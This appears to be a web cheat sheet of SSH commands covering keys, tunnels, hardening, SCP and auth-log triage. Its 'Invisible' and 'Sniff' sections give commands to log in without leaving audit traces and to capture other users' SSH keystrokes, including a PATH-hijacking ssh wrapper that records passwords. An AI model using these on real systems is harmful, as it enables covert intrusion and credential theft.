SSH#

SSH is the operator’s primary remote shell, file copy, port-forward, and tunnel utility. This page covers core invocations, advanced key and config flags, tunneling, security hardening, and log triage.

Basic#

Command

Effect

sshpass -p '<your-passwd>' ssh <username>@<ssh_host>, brew install sshpass

SSH without input password.

apt-get install openssh, apt-get install openssh-server

Install sshd server.

service sshd restart, systemctl reload sshd.service

Restart sshd server.

ssh -o StrictHostKeyChecking=no -p 2702 root@172.17.0.8 date

Run SSH command.

ssh -vvv -p 2702 root@45.33.87.74 date 2>&1

SSH with verbose output.

sshuttle -r kubo@10.92.21.17 30.0.0.0/16 192.168.150.0/24 -e ...

Set up SSH tunnel for web browsing.

ssh-copy-id <username>@<ssh_host>, or manually update ~/.ssh/authorized_keys

SSH passwordless login.

ssh-keygen -f ~/.ssh/known_hosts -R github.com

Remove entry from known_hosts.

diff local_file.txt <(ssh <username>@<ssh_host> 'cat remote_file.txt')

Diff local file with remote.

diff <(ssh user@remote_host 'cat file1.txt') <(ssh user2@remote_host2 'cat file2.txt')

Diff two remote SSH files.

scp -rp /tmp/abc/ ec2-user@<ssh-host>:/root/

Upload preserving timestamps and permissions.

exec ssh-agent bash && ssh-add /tmp/id_rsa, ssh-add

SSH agent load key.

ssh-add -l

List all loaded keys.

exec ssh-agent bash && ssh-keygen, ssh-add

Create and load key.

emacs /ssh:<username>@<ssh_host>:/path/to/file

Emacs read remote file with tramp.

ssh-keygen, ssh-keygen -C "your_email@example.com" -t rsa

Generate a new key pair.

ssh-keygen -t rsa -f /tmp/sshkey -N "" -q

Generate key pair without interaction.

Advanced#

Command

Effect

ssh-keygen -p -f id_rsa

Add passphrase protection to an SSH keyfile.

ssh -o IdentitiesOnly=yes -i id1.key myuser@myserver.com

Configure SSH to avoid trying all identity files.

ssh-keygen -f my_ssh.pub -i

Convert OpenSSL to SSH-RSA format.

~/.ssh/authorized_keys, ~/.ssh/config, ~/.ssh/known_hosts

Critical SSH files.

/etc/ssh/ssh_config, /etc/ssh/sshd_config

SSH config file.

chmod 600 ~/.ssh/id_rsa

SSH key file permission.

chmod 700 ~/.ssh, chown -R $USER:$USER ~/.ssh

SSH folder permission.

chmod 644 ~/.ssh/authorized_keys

authorized_keys file permission.

ssh -o LogLevel=error

Mute permanently-added warning.

Tunnel#

Command

Effect

ssh -N -i <ssh-keyfile> -f root@54.179.178.214 -L *:18085:localhost:8085 -n /bin/bash

SSH port forward to a local port.

ssh -o UserKnownHostsFile=/dev/null -T user@host.org "bash -i"

No logs in /var/log/utmp or bash profiles.

ssh -g -L31337:1.2.3.4:80 user@host.org

SSH tunnel OUT.

ssh -o ExitOnForwardFailure=yes -g -R31338:192.168.0.5:80 user@host.org

SSH tunnel IN.

ssh -g -R 1080 user@host.org

SSH socks4/5 IN, access local network through proxy.

ssh -D 1080 user@host.org

SSH socks4/5 OUT, reverse dynamic forwarding.

ssh -R *:40099:localhost:22 root@54.179.178.214, ssh -p 40099 root@54.179.178.214

Reverse port forward to remote server.

sshuttle -r kubo@10.92.21.17 30.0.0.0/16 192.168.111.0/24 192.168.150.0/24 192.167.0.0/24

Set up SSH tunnel for web browsing.

Hardening#

Command

Effect

sed -i 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config

Disable SSH by password.

sed -i 's/^PermitRootLogin yes/#PermitRootLogin yes/' /etc/ssh/sshd_config

Disable root login.

StrictHostKeyChecking yes, change ~/.ssh/config

Enable / disable SSH host key checking.

fail2ban

Protect SSH server from brute force.

SCP#

Command

Effect

scp -r ec2-user@<ssh-host>:/home/letsencrypt-20180825 ./

Download a remote folder.

scp -i <ssh-keyfile> /tmp/hosts ec2-user@<ssh-host>:/root/

Upload a file.

scp -r /tmp/abc/ ec2-user@<ssh-host>:/root/

Upload a folder.

scp -rp /tmp/abc/ ec2-user@<ssh-host>:/root/

Upload with timestamps and permissions.

sshfs name@server:/path/remote_folder /path/local_folder

Mount remote directory as local folder.

Logs#

Command

Effect

grep -R "ssh.*Received signal 15" /var/log/auth.log

Events of SSH down.

grep -R "sshd.*Server listening" /var/log/auth.log

Events of SSH up.

grep -R "sshd.*Failed password for invalid user" /var/log/auth.log

Events of SSH failed login.

grep -R "sshd.*POSSIBLE BREAK-IN ATTEMPT!" /var/log/auth.log

Events of SSH break-in attempt.

grep -R "sshd.*Bad protocol version identification" /var/log/auth.log

Events of SSH port scan.

grep -R "sshd.*Accepted publickey for" /var/log/auth.log

Events of SSH login by public key.

grep -R "sshd.*Accepted password for" /var/log/auth.log

Events of SSH login by password.

grep -R "sshd.*pam_unix(sshd:session): session closed for" /var/log/auth.log

Events of SSH logout.

Tools#

Tool

Purpose

ngrok.com

Export local environment to the internet.

sshuttle

Reverse SSH proxy.

sshpass sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no $username@$ssh_ip

SSH by auto-input password.

Invisible#

Add yourself with no audit trail.

# ssh -o UserKnownHostsFile=/dev/null -T user@host.org "bash -i"

This avoids adding your user to /var/log/utmp (you won’t show in w or who), avoids .profile and .bash_profile, and stops logging the host name to ~/.ssh/known_hosts.

VPN#

Tunnel layer-3 network traffic via an SSH channel. Need root on both sides. sshd_config (server side).

PermitRootLogin yes
PermitTunnel yes

Create a pair of tun devices on client and server.

$ ssh username@server -w any:any

Configure client and server interfaces.

# client
$ ip addr add 1.1.1.2/32 peer 1.1.1.1 dev tun0

# server
$ ip addr add 1.1.1.1/32 peer 1.1.1.2 dev tun0

Enable IP forwarding and NAT on the server.

$ echo 1 > /proc/sys/net/ipv4/ip_forward
$ iptables -t nat -A POSTROUTING -s 1.1.1.2 -o eth0 -j MASQUERADE

Make the peer your default gateway or route a specific host / network through it.

$ route add -net 10.0.0.0/16 gw 1.1.1.1

Server’s external interface is eth0; newly created tun devices on both sides are tun0.

Sniff#

Sniff a user’s SSH session (root).

$ strace -e trace=read -p <PID> 2>&1 | while read x; do echo "$x" | grep '^read.*= [1-9]$' | cut -f2 -d\"; done

Non-root sniff (when /proc/sys/kernel/yama/ptrace_scope is 1). Wrap ssh to log to ~/.ssh/logs/.

# Add a local path to PATH
$ echo '$PATH=~/.local/bin:$PATH' >>~/.profile

$ mkdir -p ~/.local/bin ~/.ssh/logs

$ cat >~/.local/bin/ssh
#! /bin/bash
strace -e trace=read -o '! ~/.local/bin/ssh-log $$' /usr/bin/ssh $@

$ cat ~/.local/bin/ssh-log
#! /bin/bash
grep 'read(4' | cut -f2 -d\" | while read -r x; do
    if [ ${#x} -ne 2 ] && [ ${#x} -ne 1 ]; then continue; fi
    if [ x"${x}" == "x\n" ] || [ x"${x}" == "x\r" ]; then
        echo ""
    else
        echo -n "${x}"
    fi
done >~/.ssh/.logs/ssh-log-"${1}"-`date +%s`.txt

$ chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log

References#